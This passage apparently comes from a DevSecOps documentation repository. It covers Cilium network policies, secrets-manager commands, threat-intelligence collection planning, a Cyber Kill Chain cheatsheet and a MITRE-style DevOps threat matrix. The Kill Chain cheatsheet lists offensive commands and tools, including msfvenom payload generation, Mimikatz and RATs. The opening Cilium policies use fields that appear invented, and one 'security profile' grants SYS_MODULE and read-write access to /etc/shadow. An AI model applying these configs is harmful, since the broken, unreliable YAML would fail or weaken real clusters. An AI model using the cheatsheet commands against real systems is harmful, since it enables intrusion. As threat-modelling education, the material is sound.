toEndpoints:\n        - matchLabels:\n            app: cilium\n  egressEncryption:\n    - identity:\n        identityName: cilium\n        identityIssuer: self\n        identityPrivateKey: <base64-encoded-private-key>\n```\n\n\n\n\n### Implement DNS Policy\n\n```\napiVersion: cilium.io/v2\nkind: CiliumNetworkPolicy\nmetadata:\n  name: dns-policy\nspec:\n  endpointSelector:\n    matchLabels:\n      app: dns-server\n  ingress:\n    - fromEndpoints:\n        - matchLabels:\n            app: web\n  dns:\n    allowNonCiliumDNSResponse: false\n```\n\n\n\n\n### Enable HTTP Inspection     \n\n```\napiVersion: cilium.io/v2\nkind: CiliumNetworkPolicy\nmetadata:\n  name: http-inspection\nspec:\n  endpointSelector:\n    matchLabels:\n      app: web\n  ingress:\n    - fromEndpoints:\n        - matchLabels:\n            app: internet\n  http:\n    - match:\n        - method: GET\n          path: /api/secret\n      inspectResponse: true\n```\n\n\n\n### Implement Security Profiles     \n\n```\napiVersion: cilium.io/v2\nkind: CiliumClusterwideNetworkPolicy\nmetadata:\n  name: security-profile\nspec:\n  endpointSelector:\n    matchLabels:\n      app: cilium\n  securityProfile:\n    capabilities:\n      - NET_ADMIN\n      - SYS_MODULE\n    fileAccess:\n      - path: /etc/shadow\n        access: rw\n```\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/production/production.md",
    "content": "---\nlayout: default\ntitle: Production\nnav_order: 5\nhas_children: true\npermalink: docs/production\n---\n\n# Production\n{: .no_toc }\n\n{: .fs-6 .fw-300 }\n"
  },
  {
    "path": "docs/production/secrets-management.md",
    "content": "---\nlayout: default\ntitle: Secrets Management\nparent: Production\n---\n\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n# Secrets Management\n{: .no_toc }\n\n\nSecrets management refers to the process of securely storing, managing, and accessing sensitive information, such as passwords, API keys, and other credentials. Secrets are a critical component of modern applications, and their secure management is essential to ensure the security and integrity of the application.\n\nSecrets management typically involves the use of specialized tools and technologies that provide a secure and centralized location for storing and managing secrets. These tools often use strong encryption and access control mechanisms to protect sensitive information from unauthorized access.\n\nSome of the key features of secrets management tools include:\n\n1. Secure storage: Secrets management tools provide a secure location for storing sensitive information, typically using strong encryption and access control mechanisms to ensure that only authorized users can access the information.\n\n2. Access control: Secrets management tools allow administrators to define access control policies and roles that govern who can access specific secrets and what actions they can perform.\n\n3. Auditing and monitoring: Secrets management tools provide auditing and monitoring capabilities that allow administrators to track who accessed specific secrets and when, providing an audit trail for compliance and security purposes.\n\n4. Integration with other tools: Secrets management tools can be integrated with other DevOps tools, such as build servers, deployment tools, and orchestration frameworks, to provide seamless access to secrets during the application lifecycle.\n\n## Infisical\t\n\nAn open-source, all-in-one secrets management platform that simplifies secure secret sharing across development teams and integrates with modern development workflows and cloud services.\n\n```\ninfisical secrets set DB_SECRETS='{\"username\":\"admin\",\"password\":\"s3cret\"}' --path=\"myapp/database\"\n```\n\n## Hashicorp Vault\t\n\nA highly secure and scalable secrets management solution that supports a wide range of authentication methods and storage backends.\t\n\n```\nvault kv put secret/myapp/config username=\"admin\" password=\"s3cret\" API_key=\"123456789\"\n```\n\n## AWS Secrets Manager\t\n\nA fully managed secrets management service provided by Amazon Web Services.\t\n\n```\naws secretsmanager create-secret --name myapp/database --secret-string '{\"username\":\"admin\",\"password\":\"s3cret\"}'\n```\n\n\n## Azure Key Vault\t\n\nA cloud-based secrets management service provided by Microsoft Azure.\t\n\n\n```\naz keyvault secret set --name myapp/config --value s3cret\n```\n\n## Git-crypt\t\n\nA command-line tool that allows you to encrypt files and directories within a Git repository.\t\n\n```\ngit-crypt init && git-crypt add-gpg-user user@example.com\n```\n\n## Blackbox\t\n\nA command-line tool that allows you to store and manage secrets in Git repositories using GPG encryption.\t\n\n\n```\nblackbox_initialize && blackbox_register_new_file secrets.txt\n```\n"
  },
  {
    "path": "docs/production/threat-intelligence.md",
    "content": "---\nlayout: default\ntitle: Threat Intelligence\nparent: Production\n---\n\n{: .no_toc }\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n# Threat Intelligence\n{: .no_toc }\n\nThreat intelligence is the process of gathering and analyzing information about potential and existing cybersecurity threats, such as malware, phishing attacks, and data breaches. The goal of threat intelligence is to provide organizations with actionable insights that can help them identify and mitigate potential security risks before they can cause harm.\n\nIn the context of DevSecOps, threat intelligence is an important component of a comprehensive security strategy. By gathering and analyzing information about potential security threats, organizations can better understand the security risks that they face and take steps to mitigate them. This can include implementing security controls and countermeasures, such as firewalls, intrusion detection systems, and security information and event management (SIEM) systems, to protect against known threats.\n\nThreat intelligence can also be used to enhance other DevSecOps practices, such as vulnerability management and incident response. By identifying potential vulnerabilities and threats in real-time, security teams can take swift action to remediate issues and prevent security incidents from occurring.\n\nSome of the key benefits of threat intelligence in DevSecOps include:\n\n1. Improved threat detection: Threat intelligence provides organizations with the information they need to detect potential security threats before they can cause harm.\n\n2. Better decision-making: By providing actionable insights, threat intelligence helps organizations make informed decisions about their security posture and response to potential threats.\n\n3. Proactive threat mitigation: Threat intelligence enables organizations to take a proactive approach to threat mitigation, allowing them to stay ahead of emerging threats and reduce their risk of being compromised.\n\n4. Enhanced incident response: Threat intelligence can be used to enhance incident response, allowing organizations to quickly and effectively respond to security incidents and minimize their impact.\n\n\n\n## PCR\n\n\n* **Priority:** The priority of the Post Collection Request (PCR) should be determined by considering multiple factors and information. It is recommended to establish priority based on a combination of several criteria. One important factor to consider is the customer who is requesting the intelligence. For instance, if the request comes from the Chief Information Security Officer (CISO), it would be considered more significant compared to a request from a senior network engineer. Furthermore, priority can be influenced by the specific industry vertical being focused on. For example, if the request is made by a CTI analyst working for a bank, the collection manager would likely prioritize intelligence collection based on the common threats faced by the banking industry. By taking into account these various factors, the PCR can be assigned the appropriate level of priority.\n\n\n\nWhen determining the priority of intelligence collection, there are several key factors to consider. These include the customer's requirements, the desired output or outcome of the collection, the timing interval for the request, and the feasibility of carrying out the request with the available collection systems. While there is no one-size-fits-all approach to priority, these considerations play a crucial role in determining the order in which requests are addressed. In later chapters, the topic of priority will be explored further, particularly in relation to surveying the specific needs of an organization and its collection operations.\n\n\n\n\n\n\n* **Key:** The key serves as a distinct identifier that can be utilized in conjunction with other systems for reference and tracking purposes. It can be generated automatically, like a primary key, or combined with unique identifiers to provide additional information about the type or priority of the collection. By examining the expanded key, such as PCR-001-P-BIN-FIN-P1, an organization can easily discern the nature and significance of the collection.\n\n\n\n## The collection operations life cycle\n\nEffective intelligence-gathering requires careful planning, taking into account established collection priorities, special requests for information (RFIs), and regular administration of collection operations. Proper planning ensures that data is collected in a way that aligns with the organization's intelligence-gathering needs.\n\n\n\n### People\n\nTo meet the organization's needs, it is important to have a defined Priority Collection Requirement (PCR) and assess whether the organization has the right personnel to execute the collection. Personnel evaluation in this context can be divided into three categories: technical skills, language proficiency, and subject matter expertise (SME) focus area. These categories help the collection manager determine if the personnel have the necessary qualifications for effective collection.\n\n\n\n\n* Technical discipline: In many cases, collection operations can be effectively carried out with the right technical skills, particularly for passive and hybrid collection operations. These types of operations primarily rely on technical expertise to gather information, rather than actively engaging with vetted-access communities or developing sources through direct engagement. The collection manager's main consideration is to ensure that the personnel assigned to the collection possess the necessary technical skills to acquire the desired data.\n\n\n* Language requirement: Language skills can play a vital role in collection operations for several reasons. Firstly, if the information being collected is in a specific language, having someone who can read and interpret that language is essential to extract the relevant details. Additionally, language skills become necessary when conducting collection efforts in vetted-access communities that primarily communicate in a particular language. Moreover, these skills are crucial when engaging actively with sources or attempting to recruit individuals. If the intelligence gathering requires a regional focus, collection personnel may need to be native speakers with cultural and regional understanding to effectively carry out the operations.\n\n\n\n\n\n\n* SME focus area: In addition to technical and language skills, the collection manager should also assess whether the collector needs to have subject matter expertise (SME) in a specific threat area. It is common for individuals in the CTI industry to specialize in areas such as ransomware, banking trojans, nation-state threats, or advanced persistent threats (APTs). If a collector possesses specialized expertise in a particular threat area, it is advisable to assign them to the collection operation rather than someone with only general knowledge of that threat type. This ensures that the collection efforts benefit from the in-depth understanding and insights provided by an SME.\n\n\n\n\n\n### Process\n\nOnce the collection manager has identified the suitable personnel for a collection operation, they should collaborate with the collection team to develop the operational plan. This involves considering several key factors that are crucial for a successful intelligence gathering. These factors will be discussed in the following sections.\n\n\n\n\n* OPSEC: we talked about the\nThe OPSEC (Operations Security) process is of utmost importance and should be ingrained in the culture of the group. During operations planning, the collection manager should go through the OPSEC processes and procedures with the collection team. This ensures that the team understands the significance of OPSEC and prevents them from becoming complacent or feeling overly secure during the execution of the operation. By incorporating OPSEC into the planning phase, the team remains vigilant and maintains a strong focus on protecting sensitive information and maintaining operational security.\n\n\n\n* Review any current intelligence: During the development of the operations plan, it is important for the collection manager and team to thoroughly review all intelligence holdings related to the desired data and its source. This review provides valuable information about the collection process, the specific environment where the collection will take place, and details about the source of information. By conducting this review, the collection team gains a deeper understanding of the collection requirements and can effectively tailor their approach to ensure successful data acquisition.\n\n\n\n* Be cognizant of operation branches or sequels: When planning collection operations, it is crucial to consider the history of previous data collection from a specific source location. This history can provide valuable insights into the operations of the collection team and the story it tells. For example, it may reveal patterns such as repeated use of certain IP ranges or VPNs, which could indicate tracking of user information. In more complex scenarios, such as collecting from dark markets or hacking forums, the collection team must carefully assess their history in those locations. They need to consider factors such as existing personas, any incidents that may have compromised their identities, and the potential for setting up multiple collection operations. Understanding the history of collection from a source location is essential for effective operations planning.\n\n\n\n\n\n\n### Tools and technology\n\nAfter ensuring the availability of suitable personnel and conducting thorough planning, the collection manager should focus on the technology and infrastructure required for the operations plan. This includes evaluating the necessary collection tools and systems. Collection tools refer to the specific software or hardware used to gather intelligence, while collection systems encompass the broader infrastructure needed to support operational security (OPSEC) and collection requirements. It is essential for the collection manager to assess whether the team has access to the appropriate technologies and infrastructure to effectively carry out the collection activities.\n\n\n\n\n\n\n\n\n## Lockheed's Martin Cyber Kill Chain\n\n\n### Reconnaissance:\n\n* Example: An attacker gathers information about the target organization using publicly available sources, social media, or other reconnaissance techniques.\n\n* Cheatsheet commands and tools:\n\t* WHOIS lookup: `whois <target>`\n\t* DNS enumeration: `nslookup <target>`\n\t* Google dorking: `site:<target>`\n\n### Weaponization:\n\n* Example: The attacker crafts or obtains a malicious payload, such as a malware or exploit, to deliver to the target.\n\n* Cheatsheet commands and tools:\n\t* Metasploit Framework: `msfvenom -p <payload> -f <format> -o <output>`\n\t* Veil-Evasion: `veil-evasion`\n\n### Delivery:\n\n* Example: The attacker delivers the weaponized payload to the target through various methods, such as email attachments, compromised websites, or social engineering.\n\n* Cheatsheet commands and tools:\n\t* Phishing email generation: GoPhish, SET\n\t* Malicious website hosting: Apache, Nginx\n\t* Exploit kits: Blackhole, Angler\n\n### Exploitation:\n\n* Example: The attacker takes advantage of vulnerabilities in the target's system or applications to gain unauthorized access.\n\n* Cheatsheet commands and tools:\n\t* Exploitation frameworks: Metasploit, ExploitDB\n\t* Exploit development: Python, Ruby, C/C++\n\t* Web application scanners: Nessus, Nikto\n\n### Installation:\n\n* Example: The attacker installs backdoors, remote access tools, or other malicious software to establish persistence and maintain control over the compromised system.\n\n* Cheatsheet commands and tools:\n\t* Remote administration tools: Netcat, TeamViewer\n\t* Remote access trojans (RATs): DarkComet, Poison Ivy\n\t* Fileless malware: PowerShell, WMI\n\n### Command and Control (C2):\n\n* Example: The attacker establishes communication channels with the compromised system to remotely control and manage the attack.\n\n* Cheatsheet commands and tools:\n\t* C2 frameworks: Cobalt Strike, Metasploit\n\t* Encrypted communication: TOR, SSL/TLS\n\t* DNS-based communication: Dnsmasq, Dnscat2\n\n### Actions on Objectives:\n\n* Example: The attacker achieves their intended goals, which could include data theft, privilege escalation, further network compromise, or disruption of services.\n\n* Cheatsheet commands and tools:\n\t* Data exfiltration: FTP, SCP, Steganography\n\t* Privilege escalation: sudo, PowerSploit\n\t* Network propagation: EternalBlue, WannaCry\n\n### Lateral Movement:\n\n* Example: The attacker moves laterally within the network, searching for additional targets or systems to compromise.\n\n* Cheatsheet commands and tools:\n\t* Network scanning: Nmap, Masscan\n\t* Credential theft: Mimikatz, Responder\n\t* Pass-the-Hash: Psexec, PsExecWrapper\n\n\n\n\n## DevOps Threat Matrix\n\nA DevOps Threat Matrix is a comprehensive framework or resource that identifies and categorizes potential security threats and risks associated with implementing DevOps practices. It aims to provide organizations with insights into the security challenges they may encounter while adopting a DevOps approach and offers guidance on mitigating these risks.\n\nThe Microsoft Security Blog, which you mentioned, likely provides detailed information on their DevOps Threat Matrix. It may cover different threat categories such as:\n\n* Insider Threats: This includes potential risks arising from employees or individuals with authorized access to systems, data, or infrastructure.\n\n* External Attacks: These are threats posed by external entities, such as hackers, who attempt to exploit vulnerabilities in the DevOps environment.\n\n* Data Loss and Leakage: This category encompasses risks related to the unauthorized disclosure or loss of sensitive information during the DevOps pipeline.\n\n* Supply Chain Attacks: These threats involve compromising the software supply chain, targeting third-party libraries, dependencies, or build processes.\n\n* Infrastructure Vulnerabilities: This focuses on weaknesses within the infrastructure components of the DevOps environment, such as misconfigurations or insecure cloud services.\n\n* Compliance and Regulatory Risks: DevOps practices need to align with industry standards and regulatory requirements. Failure to comply may lead to legal and financial consequences.\n\nThe DevOps Threat Matrix is likely to provide organizations with actionable recommendations, best practices, and security controls that can be implemented at various stages of the DevOps lifecycle. This could include secure coding practices, continuous monitoring, vulnerability scanning, access controls, and incident response procedures.\n\n\n### Initial access\n\nIn the context of the DevOps Threat Matrix, \"Initial Access\" refers to a category of threats that focus on unauthorized entry points or mechanisms through which an attacker gains initial access to a system or network. It involves the exploitation of vulnerabilities or weaknesses in the DevOps infrastructure, applications, or processes to establish a foothold for further malicious activities.\n\n\n#### SCM authentication\n\n![](../../../assets/images/scm.png)\n\nSCM authentication refers to the process of authenticating and accessing an organization's source code management (SCM) system. It typically involves using authentication methods such as personal access tokens (PATs), SSH keys, or other allowed credentials. However, attackers may attempt to exploit this authentication process, gaining unauthorized access to the SCM by employing techniques like phishing attacks. This can pose a significant threat to the organization's source code and sensitive information. To mitigate this risk, it's crucial to be aware of potential attacks and implement robust security measures.\n\n\n\n\n#### CI/CD service authentication\n\n![](../../../assets/images/cicd-initial.drawio.png)\n\n\nCI/CD service authentication refers to the process of authenticating and accessing the Continuous Integration/Continuous Deployment (CI/CD) service used by an organization for automating software delivery pipelines. Attackers may attempt to exploit vulnerabilities in the authentication process to gain unauthorized access to the CI/CD service, which can lead to potential compromises in the organization's DevOps environment. To mitigate this risk, it is important to employ strong authentication methods and implement security measures to protect the CI/CD service from unauthorized access.\n\n\n\n\n\n#### Organization’s public repositories\n\n![](../../../assets/images/github.drawio.png)\n\n\nAccess to an organization's public repositories with CI/CD capabilities can pose a security risk if not properly secured. Attackers may attempt to gain unauthorized access to these repositories and exploit their CI/CD capabilities to execute malicious code or disrupt the organization's pipelines. To mitigate this risk, organizations should implement strong access controls, monitor repository activity, and ensure secure CI/CD configurations.\n\n\n\n\n#### Endpoint compromise\n\n\n![](../../../assets/images/endpoint.drawio.png)\n\n\nEndpoint compromise refers to a scenario where an attacker gains access to an organization's resources by compromising a developer's workstation or endpoint device. Once an endpoint is compromised, the attacker can leverage the compromised workstation to gain unauthorized access to the organization's source code management (SCM), registry, or other critical resources. To mitigate this risk, organizations should implement strong endpoint security measures and follow best practices for securing developer workstations.\n\n\n\n\n\n#### Configured webhooks\n\n![](../../../assets/images/webhook.drawio.png)\n\n\nConfigured webhooks can become a potential security risk if not properly secured. Attackers can exploit these webhooks to gain initial access to an organization's network. By triggering requests through the source code management (SCM) system, attackers can potentially gain unauthorized access to services that should not be publicly exposed or might be running outdated and vulnerable software versions within the organization's private network. To mitigate this risk, organizations should implement secure webhook configurations, monitor webhook activity, and apply necessary access controls.\n\n\n\n\n\n\n### Execution\n\n\nThe execution tactic in the DevOps Threat Matrix refers to the methods used by attackers to gain execution access on pipeline resources, including the pipeline itself or the deployment resources. Attackers may exploit vulnerabilities or employ various techniques to gain unauthorized control over these resources. Understanding these techniques and implementing appropriate security measures is crucial for mitigating the risk of unauthorized execution and maintaining the integrity of the DevOps pipeline.\n\n\n\n#### Poisoned pipeline execution (PPE)\n\n![](../../../assets/images/ppe.png)\n\n\nPoisoned pipeline execution (PPE) is a technique employed by attackers to inject malicious code into an organization's repository, allowing them to execute unauthorized actions within the repository's CI/CD system. This technique poses a significant threat as it can lead to the execution of malicious code during the CI/CD process, compromising the integrity of the pipeline and potentially allowing further unauthorized access. Understanding and mitigating the risks associated with poisoned pipeline execution is crucial to maintain the security of the CI/CD system.\n\n\n\n\n\n##### Direct PPE (d-PPE)\n\n\nDirect Poisoned Pipeline Execution (d-PPE) is a technique used by attackers to directly modify the configuration file inside a repository. By injecting malicious commands into the configuration file, the attacker can execute those commands during the pipeline run, potentially compromising the integrity of the pipeline and the associated resources. Mitigating the risk of d-PPE requires implementing secure practices, ensuring strict access controls, and performing thorough validation of configuration files.\n\n\n\n\n\n\n##### Indirect PPE (i-PPE)\n\n\nIndirect Poisoned Pipeline Execution (i-PPE) is a technique employed by attackers when they cannot directly modify configuration files or when these changes are not considered during pipeline execution. In such cases, attackers target scripts used by the pipeline, such as make-files, test scripts, build scripts, or other similar files, to inject malicious code. By infecting these scripts, the attacker can execute unauthorized code during the pipeline run, potentially compromising the pipeline and associated resources. To mitigate the risk of i-PPE, it is important to implement secure practices, conduct thorough code reviews, and ensure the integrity of pipeline scripts.\n\n\n\n\n##### Public PPE\n\n\nPublic Poisoned Pipeline Execution (Public PPE) refers to scenarios where the pipeline is triggered by an open-source project. In such cases, attackers can exploit the pipeline by employing techniques like Direct Poisoned Pipeline Execution (d-PPE) or Indirect Poisoned Pipeline Execution (i-PPE) on the public repository. By infecting the pipeline in the open-source project, the attacker can execute unauthorized code during the pipeline run, potentially compromising the integrity of the pipeline and the resources it interacts with. To mitigate the risk of Public PPE, it is essential to implement secure practices, conduct thorough code reviews, and monitor the pipeline execution.\n\n\n\n\n\n#### Dependency tampering\n\n![](../../../assets/images/dependency.drawio.png)\n\n\nDependency tampering is a technique used by attackers to execute malicious code in the DevOps or production environment by injecting harmful code into a repository's dependencies. When these dependencies are downloaded and integrated into the system, the malicious code gets executed, potentially leading to unauthorized access or compromising the integrity of the environment. Preventing and mitigating the risk of dependency tampering requires implementing secure practices, regularly auditing dependencies, and ensuring their integrity.\n\n\n\n\n\n\n##### Public dependency confusion\n\nPublic dependency confusion is a technique employed by attackers where they publish malicious packages with the same name as private packages in public registries. When package-control mechanisms search for packages, they often prioritize public registries, making it possible for the malicious package to be downloaded instead of the intended private package. This technique can lead to the execution of malicious code in the DevOps environment or production environment. Preventing and mitigating the risk of public dependency confusion requires implementing secure practices, verifying package sources, and prioritizing trusted registries.\n\n\n\n\n##### Public package hijack (“repo-jacking”)\n\nPublic package hijacking, also known as \"repo-jacking,\" involves attackers gaining control of a public package by compromising the maintainer account. This technique can occur when attackers exploit vulnerabilities or weaknesses in the package maintainers' accounts, such as through the exploitation of GitHub's user rename feature. Once in control, attackers can modify the package's code, inject malicious code, or redirect users to malicious resources. Mitigating the risk of public package hijacking requires implementing security measures, regularly monitoring package repositories, and ensuring the integrity of maintainers' accounts.\n\n\n\n\n##### Typosquatting\n\nTyposquatting is a technique employed by attackers where they publish malicious packages with names similar to well-known public packages. By creating these deceptive package names, attackers aim to confuse users into inadvertently downloading the malicious packages instead of the intended ones. This technique can lead to the execution of unauthorized or malicious code in the DevOps environment or production environment. Preventing and mitigating the risk of typosquatting requires implementing secure practices, verifying package sources, and educating users about potential risks.\n\n\n\n\n\n#### DevOps resources compromise\n\n![](../../../assets/images/resources.drawio.png)\n\n\n\nDevOps resources compromise refers to scenarios where attackers target the compute resources used for executing CI/CD agents and other software within the pipeline. By exploiting vulnerabilities in the operating system, agent code, or other software installed on the virtual machines (VMs) or network devices, attackers can gain unauthorized access to the pipeline. This compromise can lead to the execution of unauthorized code, data theft, or disruption of the CI/CD process. To mitigate the risk of DevOps resources compromise, it is crucial to implement security measures, regularly update and patch software, and monitor the infrastructure for suspicious activities.\n\n\n\n\n\n#### Control of common registry\n\n![](../../../assets/images/registry.drawio.png)\n\n\n\nControl of a common registry refers to a situation where an attacker gains control over a registry used by the organization, allowing them to introduce and execute malicious images or packages within the CI/CD pipeline or production environment. This compromise can lead to the execution of unauthorized or malicious code, data breaches, or disruption of the CI/CD process. Protecting against the control of a common registry requires implementing robust security measures, controlling access to the registry, and monitoring for any suspicious or unauthorized activities.\n\n\n\n\n\n\n\n### Persistence\n\nThe persistency tactic in the context of DevOps threat matrix refers to techniques employed by attackers to maintain access to a victim's environment even after initial compromise. These techniques allow attackers to persistently control and access the compromised systems, potentially leading to further unauthorized activities, data breaches, or system disruptions. Mitigating the risk of persistency requires implementing strong security practices, conducting regular system audits, and promptly addressing any identified vulnerabilities or unauthorized access.\n\n\n\n\n#### Changes in repository\n\n![](../../../assets/images/per-reg.drawio.png)\n\n\nChanges in repository refer to techniques where adversaries exploit the automatic tokens within the CI/CD pipeline to access and push code changes to the repository. By leveraging these tokens, which often have sufficient permissions, attackers can achieve persistency within the environment. This persistence can enable unauthorized code modifications, data exfiltration, or further exploitation of the organization's systems. Preventing and mitigating the risk of changes in the repository requires implementing secure practices, controlling access to tokens, and monitoring repository activities for any suspicious or unauthorized changes.\n\n* Change/add scripts in code – we can change some of the initialization scripts/add new scripts, so they download a backdoor/starter for the attacker, so each time the pipeline is executing these scripts, the attacker’s code will be executed too.\n\n* Change the pipeline configuration – we can add new steps in the pipeline to download an attacker-controlled script to the pipeline before continuing with the build process.\n\n* Change the configuration for dependencies locations – to use attacker-controlled packages.\n\n\n##### Inject in Artifacts\n\n![](../../../assets/images/per-arti.drawio.png)\n\n\nInjecting code into artifacts involves exploiting the functionality of Continuous Integration (CI) environments that allow the creation and sharing of artifacts between pipeline executions. Attackers can manipulate these artifacts to inject malicious code or files, which can lead to unauthorized code execution or compromise of the CI/CD pipeline. Preventing and mitigating the risk of artifact injection requires implementing security measures, validating artifacts, and monitoring for any suspicious or unauthorized changes.\n\n\n\n\n\n\n##### Modify images in registry\n\n![](../../../assets/images/per-img.drawio.png)\n\n\n\nModifying images in the registry refers to a technique where an attacker gains access to the image registry used by CI/CD pipelines and manipulates the images stored in the registry. By modifying or planting malicious images, the attacker can ensure that these images are executed by the user's containers, leading to the execution of unauthorized or malicious code within the production environment. Preventing and mitigating the risk of image modification in the registry requires implementing strong security measures, controlling access to the registry, and monitoring for any unauthorized changes.\n\n\n\n\n\n##### Create service credentials\n\n![](../../../assets/images/per-service.drawio.png)\n\n\nCreating service credentials in the context of DevOps refers to the process of generating and managing authentication credentials for services or applications used within the CI/CD pipeline or infrastructure. Service credentials provide secure access to various resources, such as cloud platforms, databases, or external APIs, and help establish trust and authorization between different components of the DevOps environment. Properly managing service credentials is crucial for maintaining the security and integrity of the DevOps pipeline and ensuring authorized access to sensitive resources.\n\n\n\n\n\n\n### Privilege escalation\n\nPrivilege escalation techniques in the context of DevOps refer to the methods used by an attacker to elevate their privileges within a victim's environment. By gaining higher privileges, the attacker can access more sensitive resources, manipulate configurations, and potentially compromise the entire DevOps infrastructure. Understanding and mitigating privilege escalation risks is crucial to maintaining the security and integrity of the DevOps environment.\n\n\n\n\n#### Secrets in private repositories\n\n![](../../../assets/images/priv-pro.drawio.png)\n\n\nThe presence of secrets in private repositories poses a significant security risk within the DevOps environment. Attackers who have gained initial access can leverage this access to scan private repositories in search of hidden secrets. Private repositories are typically considered more secure as they are inaccessible from outside the organization. However, if sensitive information such as API keys, passwords, or cryptographic keys are mistakenly committed or stored within these repositories, they can be exposed to unauthorized individuals. Detecting and mitigating the presence of secrets in private repositories is essential to maintain the confidentiality and integrity of the organization's assets.\n\n\n\n\n\n##### Commit/push to protected branches\n\n![](../../../assets/images/priv-key.drawio.png)\n\nCommitting or pushing code to protected branches in a repository can pose a significant security risk in the DevOps environment. If the pipeline has access to the repository and the repository's access controls are permissive, it may allow an attacker to bypass normal code review and approval processes and inject malicious code directly into important branches without the intervention of the development team. This can lead to unauthorized code execution, compromising the integrity and security of the application or system. Implementing proper access controls and review processes is crucial to mitigate the risk of unauthorized code changes in protected branches.\n\n\n\n\n\n\n##### Certificates and identities from metadata services\n\n![](../../../assets/images/priv-cert.drawio.png)\n\n\n\nIn cloud-hosted pipelines, attackers may exploit the access they already have to the environment to gain unauthorized access to certificates and identities stored in metadata services. These services, often provided by cloud platforms, store sensitive information such as certificates, authentication tokens, and identity-related data. Extracting such information allows the attacker to assume the privileges associated with those certificates or identities, potentially compromising the security and confidentiality of the DevOps environment. Protecting and securing certificates and identities from metadata services is crucial to prevent unauthorized access and maintain the integrity of the system.\n\n\n\n\n\n\n### Credential access\n\n\n\nCredential access techniques refer to the methods used by attackers to steal credentials within the DevOps environment. By obtaining valid credentials, attackers can gain unauthorized access to critical systems, services, or resources. It is crucial to protect credentials and implement measures to prevent their unauthorized access or theft. Understanding and mitigating credential access risks is essential to maintain the security and integrity of the DevOps environment.\n\n\n\n\n#### User credentials\n\n![](../../../assets/images/cred-key.drawio.png)\n\n\nUser credentials are often required in CI pipelines to access external services such as databases, APIs, or other resources. However, if not properly secured, these credentials can become a target for attackers. They may try to gain access to the pipeline and extract the credentials to gain unauthorized access to external services. Protecting user credentials is crucial to prevent unauthorized access and maintain the security of the DevOps environment.\n\n\n\n\n\n##### Service credentials\n\n![](../../../assets/images/cred-serv.drawio.png)\n\nService credentials, such as service principal names (SPN) and shared access signature (SAS) tokens, are commonly used in DevOps environments to authenticate and authorize access to various services and resources. However, if these credentials are compromised, an attacker can gain unauthorized access to other services directly from the pipeline. Protecting service credentials is essential to prevent unauthorized access and maintain the security of the DevOps environment.\n\n\n\n\n\n\n\n\n### Lateral movement\n\n\nThe lateral movement tactic in CI/CD environments refers to the techniques used by attackers to move through different resources within the DevOps pipeline. Attackers aim to gain access to deployment resources, build artifacts, registries, or other targets to expand their reach and carry out malicious activities. Detecting and preventing lateral movement is crucial to maintain the security and integrity of the CI/CD environment.\n\n\n\n\n#### Compromise build artifacts\n\n![](../../../assets/images/arti.drawio.png)\n\nCompromising build artifacts is a supply chain attack where an attacker gains control over the CI pipelines and manipulates the build artifacts. By injecting malicious code into the building materials before the build process is completed, the attacker can introduce malicious functionality into the final build artifacts. Protecting build artifacts is essential to prevent the deployment of compromised or malicious software.\n\n\n\n\n\n##### Registry injection\n\n![](../../../assets/images/regi.drawio.png)\n\nRegistry injection is a technique where an attacker infects the registry used for storing build artifacts in a CI/CD pipeline. By injecting malicious images into the registry, the attacker aims to have these images downloaded and executed by containers that rely on the infected registry. Preventing registry injection is crucial to ensure the integrity and security of the build artifacts used in the CI/CD process.\n\n\n\n\n\n\n##### Spread to deployment resources\n\n![](../../../assets/images/depi.drawio.png)\n\nSpreading to deployment resources refers to the scenario where an attacker gains access to the deployment resources within a CI/CD pipeline. By leveraging the access granted to the pipeline, the attacker can propagate their presence to the deployment environment, leading to potential code execution, data exfiltration, and other malicious activities. Preventing the spread to deployment resources is crucial to maintain the security and integrity of the deployment environment.\n\n\n\n\n\n\n### Defense evasion\n\nDefense evasion techniques are employed by attackers to bypass or evade the security measures and defenses implemented in a DevOps environment. By evading detection and mitigation mechanisms, attackers can continue their attacks undetected and maintain persistence within the environment. Understanding and mitigating these evasion techniques is crucial to ensure the security and resilience of a DevOps environment.\n\n\n\n\n#### Service logs manipulation\n\n![](../../../assets/images/monitoring.drawio.png)\n\nService logs manipulation is a technique where an attacker, who has gained access to the environment, modifies the logs generated by various services. By tampering with the logs, the attacker aims to hide their activities and prevent defenders from detecting their presence or identifying the attacks they have executed. Detecting and preventing service logs manipulation is crucial for maintaining the integrity and reliability of log data for security analysis.\n\n\n\n\n\n##### Compilation manipulation\n\n![](../../../assets/images/change.drawio.png)\n\nCompilation manipulation is a technique used by attackers to inject malicious code into the compilation process, which can result in the inclusion of backdoors or vulnerabilities in the final software build. By tampering with the compilation process, the attacker aims to evade detection and introduce malicious functionality into the software without leaving obvious traces in the source code or version control system.\n\n\n\n\n\n\n\n##### Reconfigure branch protections\n\n![](../../../assets/images/unprotected.drawio.png)\n\n\nReconfiguring branch protections is a technique where an attacker with administrative permissions modifies the configuration settings of branch protection tools. By altering these settings, the attacker can bypass the controls and introduce code into a branch without the need for any user intervention or approval. This can enable the attacker to inject malicious code into the codebase and potentially compromise the integrity of the repository.\n\n\n\n\n\n\n### Impact\n\nThe impact tactic refers to techniques used by attackers to exploit access to CI/CD resources for malicious purposes. Unlike other tactics, these techniques are not intended to be stealthy or covert, but rather to cause immediate and noticeable damage or disruption to the organization's CI/CD pipelines and resources. These techniques can have a significant impact on the availability, integrity, and confidentiality of the software development and deployment processes.\n\n\n\n\n#### DDoS\n\n![](../../../assets/images/dos.drawio.png)\n\nDDoS (Distributed Denial of Service) is a type of attack where an adversary overwhelms a target system or network with a flood of traffic from multiple sources, causing service disruptions or outages. In a CI/CD environment, an attacker with access to compute resources can misuse them to launch DDoS attacks against external targets.\n\n\n\n\n##### Cryptocurrency mining\n\n![](../../../assets/images/crypto.drawio.png)\n\n\nCryptocurrency mining is the process of using computational resources to solve complex mathematical problems and earn cryptocurrency rewards. In a compromised CI/CD environment, an attacker may utilize the compute resources for unauthorized cryptocurrency mining, consuming system resources and potentially causing performance degradation.\n\n\n##### Local DoS\n\n![](../../../assets/images/localdos.drawio.png)\n\n\nLocal Denial of Service (DoS) attacks are performed by an attacker who has gained access to the CI pipelines. The attacker uses the pipelines to launch DoS attacks against the organization's own infrastructure or services, causing disruptions or overloading the virtual machines (VMs) used in the CI/CD environment.\n\n\n\n\n##### Resource 